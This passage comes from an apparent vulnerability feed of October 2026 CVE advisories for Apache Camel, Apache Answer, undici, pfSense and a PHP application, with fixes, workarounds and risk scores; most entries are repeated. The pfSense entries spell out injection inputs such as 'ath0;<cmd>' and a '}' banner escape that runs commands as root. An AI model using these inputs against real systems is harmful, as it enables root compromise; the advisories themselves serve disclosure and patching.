FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-80343&date=2026-10-25
Improper Handling of Case Sensitivity vulnerability in Apache Camel Netty HTTP component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The camel-netty-http security constraint compared the request path against the configured context path using a case-sensitive match, while the routing that dispatches the request to the endpoint did not apply the same rule. The two comparisons therefore disagreed for any path whose case differed from the configured value. An external caller could alter the case of a character in a path segment so that the security constraint no longer recognised the path as protected, while the request still dispatched to the same endpoint. The result is that the constraint is skipped and the protected route is reached without satisfying it. No credential, prior access or special configuration is required beyond being able to send a request to the consumer.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The constraint now matches the request path with the same case rules the dispatch uses, so the two can no longer disagree. For deployments that cannot upgrade immediately, place the authorization decision in front of the Camel consumer, for example in a reverse proxy that normalises the request path before forwarding.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.
https://kevwire.com/record/CVE-2026-80344
Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component. (Oct 19, 2026).
Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.

This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.

In the AS2 protocol the sender of a message may request that the Message Disposition Notification be returned asynchronously to an address the sender supplies. camel-as2 took that address from the inbound message and used it as the destination for the outgoing receipt without constraining it to anything the deployment had configured. A remote partner therefore chose the host the Camel instance would connect to when delivering the MDN. That gives server-side request forgery from the position of the AS2 receiver, including reaching hosts that are only routable from inside the deployment's network, and where the outbound connection carries credentials configured for MDN delivery those credentials are presented to the attacker-chosen destination.

Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The asynchronous MDN destination is now constrained rather than taken verbatim from the inbound message. For deployments that cannot upgrade immediately, restrict outbound connectivity from the AS2 receiver to the partner endpoints it legitimately delivers receipts to, and do not attach credentials to MDN delivery that are valid for any host other than those partners.
CVSS 8.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-80344).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-80344&date=2026-10-25).
Sources:
NVD CVE-2026-80344: https://nvd.nist.gov/vuln/detail/CVE-2026-80344
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-80344&date=2026-10-25
Server-Side Request Forgery (SSRF) vulnerability in Apache Camel AS2 component.

This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.

In the AS2 protocol the sender of a message may request that the Message Disposition Notification be returned asynchronously to an address the sender supplies. camel-as2 took that address from the inbound message and used it as the destination for the outgoing receipt without constraining it to anything the deployment had configured. A remote partner therefore chose the host the Camel instance would connect to when delivering the MDN. That gives server-side request forgery from the position of the AS2 receiver, including reaching hosts that are only routable from inside the deployment's network, and where the outbound connection carries credentials configured for MDN delivery those credentials are presented to the attacker-chosen destination.

Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The asynchronous MDN destination is now constrained rather than taken verbatim from the inbound message. For deployments that cannot upgrade immediately, restrict outbound connectivity from the AS2 receiver to the partner endpoints it legitimately delivers receipts to, and do not attach credentials to MDN delivery that are valid for any host other than those partners.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Restriction of XML External Entity Reference vulnerability in Apache Camel XPath component.
https://kevwire.com/record/CVE-2026-85250
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel XPath component. (Oct 19, 2026).
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel XPath component.

This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.

With documentType set to InputSource, XPathBuilder handed the payload straight to javax.xml.xpath, which builds a DocumentBuilder of its own using the JDK defaults. The hardening applied to Camel's default document type was therefore bypassed: a DOCTYPE declaration that is refused on the default type was accepted here, and the external entity it declared was resolved and expanded into the evaluated document. An external sender whose XML reaches such an expression could read files readable by the Camel process and cause the process to issue requests to hosts it names. The two document types disagreeing on parser configuration is what made this reachable, since a deployment choosing InputSource for streaming reasons had no indication it was also choosing a weaker parser.

Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The InputSource document type now goes through the same hardened parser as the default type, so a DOCTYPE is refused. Note that it also shares that type's documented escape hatch: the same DocumentBuilderFactory system properties that relax the default type relax this one, so a deployment that has set them remains unprotected by design. For deployments that cannot upgrade immediately, do not use documentType=InputSource on expressions evaluated over untrusted XML; the default document type already refuses a DOCTYPE.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85250).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85250&date=2026-10-25).
Sources:
NVD CVE-2026-85250: https://nvd.nist.gov/vuln/detail/CVE-2026-85250
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85250&date=2026-10-25
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel XPath component.

This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.

With documentType set to InputSource, XPathBuilder handed the payload straight to javax.xml.xpath, which builds a DocumentBuilder of its own using the JDK defaults. The hardening applied to Camel's default document type was therefore bypassed: a DOCTYPE declaration that is refused on the default type was accepted here, and the external entity it declared was resolved and expanded into the evaluated document. An external sender whose XML reaches such an expression could read files readable by the Camel process and cause the process to issue requests to hosts it names. The two document types disagreeing on parser configuration is what made this reachable, since a deployment choosing InputSource for streaming reasons had no indication it was also choosing a weaker parser.

Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. The InputSource document type now goes through the same hardened parser as the default type, so a DOCTYPE is refused. Note that it also shares that type's documented escape hatch: the same DocumentBuilderFactory system properties that relax the default type relax this one, so a deployment that has set them remains unprotected by design. For deployments that cannot upgrade immediately, do not use documentType=InputSource on expressions evaluated over untrusted XML; the default document type already refuses a DOCTYPE.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP component.
https://kevwire.com/record/CVE-2026-85251
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP component. (Oct 19, 2026).
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP component.

This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.

Two paths handed credentials to a redirect target, which is a host chosen by the remote server rather than by the route, once followRedirects=true. OAuth2ClientConfigurer registers its interceptor with addRequestInterceptorFirst, and HttpClient runs protocol-level request interceptors inside ProtocolExec, which sits below RedirectExec in the exec chain; the interceptor therefore ran again for every redirect hop and re-attached Authorization: Bearer  to whatever host the Location header named. Separately, credentials were registered against an AuthScope matching any host, so basic and digest credentials were presented to a redirect target as well. A remote endpoint - or anyone who can influence its responses - could therefore collect the bearer token or the configured credentials simply by answering with a redirect to a host it controls.

Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. Credentials are now sent only to the authority the endpoint was configured with, and are not re-attached when a redirect crosses to another host. For deployments that cannot upgrade immediately, set followRedirects=false on endpoints that carry credentials, and handle any redirect explicitly in the route so that the destination is chosen by the route rather than by the remote server.
CVSS 7.5 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85251).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85251&date=2026-10-25).
Sources:
NVD CVE-2026-85251: https://nvd.nist.gov/vuln/detail/CVE-2026-85251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85251&date=2026-10-25
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel HTTP component.

This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.

Two paths handed credentials to a redirect target, which is a host chosen by the remote server rather than by the route, once followRedirects=true. OAuth2ClientConfigurer registers its interceptor with addRequestInterceptorFirst, and HttpClient runs protocol-level request interceptors inside ProtocolExec, which sits below RedirectExec in the exec chain; the interceptor therefore ran again for every redirect hop and re-attached Authorization: Bearer  to whatever host the Location header named. Separately, credentials were registered against an AuthScope matching any host, so basic and digest credentials were presented to a redirect target as well. A remote endpoint - or anyone who can influence its responses - could therefore collect the bearer token or the configured credentials simply by answering with a redirect to a host it controls.

Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. Credentials are now sent only to the authority the endpoint was configured with, and are not re-attached when a redirect crosses to another host. For deployments that cannot upgrade immediately, set followRedirects=false on endpoints that carry credentials, and handle any redirect explicitly in the route so that the destination is chosen by the route rather than by the remote server.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Restriction of XML External Entity Reference vulnerability in Apache Camel.
https://kevwire.com/record/CVE-2026-88901
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel. (Oct 19, 2026).
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel.



This issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1.



Improper Restriction of XML External Entity Reference in the Smooks component (camel-smooks) in Apache Camel allows an attacker who supplies the XML message body to read local files or issue requests to internal network locations via an external entity declaration in that body. This issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1. The Smooks data format (.unmarshal().smooks(...)) and the Smooks component (smooks:) parse the incoming XML body with the reader Smooks resolves by default, which is the Woodstox SAX parser. That reader resolves external general and parameter entities and loads external DTDs, and camel-smooks applied none of the parser hardening that the other Camel XML components apply. A DOCTYPE with an external subset, or an external general entity, declared in the XML document is therefore resolved and expanded while the body is unmarshalled, and the resolved content is bound into the unmarshalled result and returned on InOut routes. An external sender whose XML reaches a camel-smooks data format or endpoint could therefore read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since resolving external entities was the default behaviour. Configurations that declare their own reader - EDI, CSV, JSON, or a custom reader - do not use the XML reader and are not affected. Users are recommended to upgrade to version 4.18.5, 4.22.1 or 4.23.0, which fixes the issue.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. camel-smooks now parses the XML body with a javax.xml.parsers.DocumentBuilder that does not resolve external general or parameter entities and does not load external DTDs, and hands Smooks the resulting document, matching the secure XML processing configuration used by org.apache.camel.converter.jaxp.XmlConverter a
CVSS 8.2 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88901).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88901&date=2026-10-25).
Sources:
NVD CVE-2026-88901: https://nvd.nist.gov/vuln/detail/CVE-2026-88901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88901&date=2026-10-25
Improper Restriction of XML External Entity Reference vulnerability in Apache Camel.



This issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1.



Improper Restriction of XML External Entity Reference in the Smooks component (camel-smooks) in Apache Camel allows an attacker who supplies the XML message body to read local files or issue requests to internal network locations via an external entity declaration in that body. This issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1. The Smooks data format (.unmarshal().smooks(...)) and the Smooks component (smooks:) parse the incoming XML body with the reader Smooks resolves by default, which is the Woodstox SAX parser. That reader resolves external general and parameter entities and loads external DTDs, and camel-smooks applied none of the parser hardening that the other Camel XML components apply. A DOCTYPE with an external subset, or an external general entity, declared in the XML document is therefore resolved and expanded while the body is unmarshalled, and the resolved content is bound into the unmarshalled result and returned on InOut routes. An external sender whose XML reaches a camel-smooks data format or endpoint could therefore read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since resolving external entities was the default behaviour. Configurations that declare their own reader - EDI, CSV, JSON, or a custom reader - do not use the XML reader and are not affected. Users are recommended to upgrade to version 4.18.5, 4.22.1 or 4.23.0, which fixes the issue.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. camel-smooks now parses the XML body with a javax.xml.parsers.DocumentBuilder that does not resolve external general or parameter entities and does not load external DTDs, and hands Smooks the resulting document, matching the secure XML processing configuration used by org.apache.camel.converter.jaxp.XmlConverter and the other Camel XML components. This hardening is applied only when the Smooks configuration parses XML with its default reader, so EDI, CSV, JSON and custom-reader configurations, and the marshalling direction, are unchanged. A new allowExternalEntities option, disabled by default, restores the previous behaviour for trusted legacy configurations that rely on external entity resolution. The camel-4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, do not apply camel-smooks to XML received from untrusted senders.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function vulnerability in Apache Answer.
https://kevwire.com/record/CVE-2026-90910
Missing authentication for critical function vulnerability in Apache Answer. (Oct 19, 2026).
Missing authentication for critical function vulnerability in Apache Answer.



This issue affects Apache Answer: through 2.0.2.



The reaction API did not enforce content visibility controls, allowing unauthorized users to read reaction metadata from restricted content or add and remove their own reactions.



Users are recommended to upgrade to version 2.0.3, which fixes the issue.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90910).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90910&date=2026-10-25).
Sources:
NVD CVE-2026-90910: https://nvd.nist.gov/vuln/detail/CVE-2026-90910
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90910&date=2026-10-25
Missing authentication for critical function vulnerability in Apache Answer.



This issue affects Apache Answer: through 2.0.2.



The reaction API did not enforce content visibility controls, allowing unauthorized users to read reaction metadata from restricted content or add and remove their own reactions.



Users are recommended to upgrade to version 2.0.3, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici is an HTTP client library for Node.js.
https://kevwire.com/record/CVE-2026-109829
undici is an HTTP client library for Node.js. (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1, when an originless Agent composes the redirect and cache interceptors in that order with a shared cache store, the cache builds its key from the original request URL before the redirect handler changes the origin, so a response produced after a cross-origin redirect is stored under the original key. An attacker who controls the target of a redirect from a trusted URL can have their response cached under that trusted URL and served to later callers, allowing persistent cache poisoning, and the same key confusion lets a private, non-stored redirect response to a user-specific resource be stored under the original URL and served to a later unauthenticated caller, disclosing private data. Applications are affected only when an originless Agent, a shared cache store, and the redirect-then-cache composition are all used. The issue is fixed in undici 7.30.1 and 8.12.2, which verify the producing origin still matches the cache key and preserve each redirect hop's cache-control policy before storing, and users should upgrade to one of those versions or later. As a workaround, compose the cache interceptor before the redirect interceptor, use per-origin dispatchers and cache stores, or disable shared caching on redirect-capable requests.
CVSS 7.4 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109829).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109829&date=2026-10-25).
Sources:
NVD CVE-2026-109829: https://nvd.nist.gov/vuln/detail/CVE-2026-109829
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109829&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1, when an originless Agent composes the redirect and cache interceptors in that order with a shared cache store, the cache builds its key from the original request URL before the redirect handler changes the origin, so a response produced after a cross-origin redirect is stored under the original key. An attacker who controls the target of a redirect from a trusted URL can have their response cached under that trusted URL and served to later callers, allowing persistent cache poisoning, and the same key confusion lets a private, non-stored redirect response to a user-specific resource be stored under the original URL and served to a later unauthenticated caller, disclosing private data. Applications are affected only when an originless Agent, a shared cache store, and the redirect-then-cache composition are all used. The issue is fixed in undici 7.30.1 and 8.12.2, which verify the producing origin still matches the cache key and preserve each redirect hop's cache-control policy before storing, and users should upgrade to one of those versions or later. As a workaround, compose the cache interceptor before the redirect interceptor, use per-origin dispatchers and cache stores, or disable shared caching on redirect-capable requests.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici is an HTTP client library for Node.js.
https://kevwire.com/record/CVE-2026-109932
undici is an HTTP client library for Node.js. (Oct 15, 2026).
undici is an HTTP client library for Node.js. In versions 5.15.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its WebSocket client, including the bundled WebSocket exposed by Node.js, can be driven to exhaust process memory by a malicious or compromised WebSocket server. For every PING frame received, the client automatically writes a PONG response and ignores the backpressure signal from the socket write, so a server that streams small PING frames while never reading the client's PONGs makes the outbound write queue and heap grow without bound until the Node.js process runs out of memory and terminates. The attack is remote and unauthenticated, needs only a normal WebSocket connection, and is asymmetric, since small inbound PINGs produce a much larger retained outbound queue, with availability the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which pause WebSocket frame parsing when the automatic PONG response hits socket backpressure and resume on drain, bounding the outbound queue, and users should upgrade to one of those versions or later. There is no workaround.
CVSS 5.9 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109932).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109932&date=2026-10-25).
Sources:
NVD CVE-2026-109932: https://nvd.nist.gov/vuln/detail/CVE-2026-109932
Vendor advisory (via NVD references): https://cna.openjsf.org/security-advisories.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109932&date=2026-10-25
undici is an HTTP client library for Node.js. In versions 5.15.0 through 6.29.0, 7.0.0 through 7.30.0, and 8.0.0 through 8.12.1, its WebSocket client, including the bundled WebSocket exposed by Node.js, can be driven to exhaust process memory by a malicious or compromised WebSocket server. For every PING frame received, the client automatically writes a PONG response and ignores the backpressure signal from the socket write, so a server that streams small PING frames while never reading the client's PONGs makes the outbound write queue and heap grow without bound until the Node.js process runs out of memory and terminates. The attack is remote and unauthenticated, needs only a normal WebSocket connection, and is asymmetric, since small inbound PINGs produce a much larger retained outbound queue, with availability the only impact. The issue is fixed in undici 6.29.1, 7.30.1, and 8.12.2, which pause WebSocket frame parsing when the automatic PONG response hits socket backpressure and resume on drain, bounding the outbound queue, and users should upgrade to one of those versions or later. There is no workaround.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with QinQ edit privilege to run commands by storing an...
https://kevwire.com/record/CVE-2026-111214
Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with QinQ edit privilege to run commands by storing an... (Oct 15, 2026).
Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with QinQ edit privilege to run commands by storing an unvalidated parent interface name. Attackers can save a crafted 'if' value, then edit the QinQ entry so it is interpolated into ifconfig shell commands, executing commands as root.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111214).
EPSS 10.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111214&date=2026-10-25).
Sources:
NVD CVE-2026-111214: https://nvd.nist.gov/vuln/detail/CVE-2026-111214
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111214&date=2026-10-25
Netgate pfSense CE 2.7.0 through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with QinQ edit privilege to run commands by storing an unvalidated parent interface name. Attackers can save a crafted 'if' value, then edit the QinQ entry so it is interpolated into ifconfig shell commands, executing commands as root.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users to execute commands as root by supplying a crafted wireless parent...
https://kevwire.com/record/CVE-2026-111215
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users to execute commands as root by supplying a crafted wireless parent... (Oct 15, 2026).
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users to execute commands as root by supplying a crafted wireless parent interface name. Attackers with limited Wireless Edit or Interface Assignments privileges can submit values like ath0;<cmd> via interfaces_wireless_edit.php or interfaces_assign.php, which interface_wireless_clone() interpolates unescaped into an ifconfig shell command.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111215).
EPSS 6.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111215&date=2026-10-25).
Sources:
NVD CVE-2026-111215: https://nvd.nist.gov/vuln/detail/CVE-2026-111215
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111215&date=2026-10-25
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users to execute commands as root by supplying a crafted wireless parent interface name. Attackers with limited Wireless Edit or Interface Assignments privileges can submit values like ath0;<cmd> via interfaces_wireless_edit.php or interfaces_assign.php, which interface_wireless_clone() interpolates unescaped into an ifconfig shell command.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE 2.7.0 through 2.9.0 contains a configuration injection vulnerability that allows authenticated users with IPsec Mobile privileges to execute commands as root...
https://kevwire.com/record/CVE-2026-111223
Netgate pfSense CE 2.7.0 through 2.9.0 contains a configuration injection vulnerability that allows authenticated users with IPsec Mobile privileges to execute commands as root... (Oct 15, 2026).
Netgate pfSense CE 2.7.0 through 2.9.0 contains a configuration injection vulnerability that allows authenticated users with IPsec Mobile privileges to execute commands as root via the login_banner field. Attackers can submit a single-line banner containing '}' to escape the unquoted strongswan.conf attr value and define charon.start-scripts entries that charon executes as root on restart.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111223).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111223&date=2026-10-25).
Sources:
NVD CVE-2026-111223: https://nvd.nist.gov/vuln/detail/CVE-2026-111223
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111223&date=2026-10-25
Netgate pfSense CE 2.7.0 through 2.9.0 contains a configuration injection vulnerability that allows authenticated users with IPsec Mobile privileges to execute commands as root via the login_banner field. Attackers can submit a single-line banner containing '}' to escape the unquoted strongswan.conf attr value and define charon.start-scripts entries that charon executes as root on restart.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This impacts the function move_uploaded_file of the file...
https://kevwire.com/record/CVE-2026-112149
A vulnerability was identified in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This impacts the function move_uploaded_file of the file... (Oct 19, 2026).
A vulnerability was identified in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This impacts the function move_uploaded_file of the file home.php. The manipulation of the argument my_img leads to unrestricted upload. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112149).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112149&date=2026-10-25).
Sources:
NVD CVE-2026-112149: https://nvd.nist.gov/vuln/detail/CVE-2026-112149
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112149&date=2026-10-25
A vulnerability was identified in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This impacts the function move_uploaded_file of the file home.php. The manipulation of the argument my_img leads to unrestricted upload. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in vraj404 Criminal Management System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this vulnerability is an unknown functionality of...
https://kevwire.com/record/CVE-2026-112151
A weakness has been identified in vraj404 Criminal Management System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this vulnerability is an unknown functionality of... (Oct 19, 2026).
